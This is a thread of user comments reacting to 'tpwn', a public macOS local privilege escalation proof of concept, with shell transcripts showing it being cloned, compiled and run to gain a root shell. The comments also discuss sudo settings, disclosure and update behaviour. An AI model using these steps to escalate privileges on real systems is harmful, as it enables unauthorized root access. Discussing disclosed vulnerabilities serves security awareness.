$ git clone <a href="https://github.com/kpwn/tpwn.git" rel="nofollow">https://github.com/kpwn/tpwn.git</a><p>Cloning into 'tpwn'...<p>remote: Counting objects: 16, done.<p>remote: Compressing objects: 100% (11/11), done.<p>remote: Total 16 (delta 3), reused 16 (delta 3), pack-reused 0<p>Unpacking objects: 100% (16/16), done.<p>Checking connectivity... done.<p>$ cd tpwn<p>$ make<p>gcc *.m -o tpwn -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3<p>strip tpwn<p>$ ./tpwn<p>leaked kaslr slide, @ 0x0000000008e00000<p>sh-3.2# whoami<p>root<p>sh-3.2#<p>Shit's real.<p>Edit: for those of you wondering, no, I didn't just run this willy-nilly. I read the code thoroughly and determined there were no side-effects aside from just the PoC dropping to a root shell.
Anyone who is worried about privilege escalation on OSX should be aware that Apple ships sudo with requiretty disabled. This means that sudo authentication is not bound to the TTY in which the authentication occurred, and so using sudo for anything is tantamount to giving root to <i>all</i> of your processes.<p>UPDATE: <a href="https://news.ycombinator.com/item?id=10069706" rel="nofollow">https://news.ycombinator.com/item?id=10069706</a>
So we currently have 2 local privilege escalation exploits [1] available for Mac OSX. Apple appears to be in no rush to fix the first one, I wouldn't bet my money on this vulnerability getting a fix any time soon, either ...<p>[1] <a href="http://bit.ly/1MrsdID" rel="nofollow">http://bit.ly/1MrsdID</a>
Just curious when you disclosed this to apple? I'm impressed by your skill in finding this, but not sure it is a good idea to make it so easy for people to weaponize like this.
Interesting. This prompted me to look at my Mac and it's running 10.10.3, I never got a prompt to update to 10.10.4 or 10.10.5, but when I open App Store it tells me there's an upgrade to 10.10.5. I guess Apple managed to break the automatic update mechanism in 10.10.3.<p>I wonder if this is related to the behavior where my iMac wakes up every minute starting every morning at 2AM. This is so obnoxious that I now turn my iMac off at night instead of putting it to sleep.
Okay, this is really weird... after rooting, and pressing ^D or typing exit, I stay root<p><pre><code> ~/code/tpwn % id -u
503
~/code/tpwn % ./tpwn
leaked kaslr slide, @ 0x0000000005600000
sh-3.2# exit
exit
~/code/tpwn # id -u
0
</code></pre>
Edit: and it crashes iTerm2 after the last `id -u`. Managed to get a screenshot of what I'm talking about: <a href="http://i.imgur.com/foWgTBN.png" rel="nofollow">http://i.imgur.com/foWgTBN.png</a>
So for anyone who hasn't tried it but is wondering about it - it works on 10.10.4 and 10.10.5, running the tpwn binary does drop you to a root shell. Looks like a weakness in the address randomization in OS X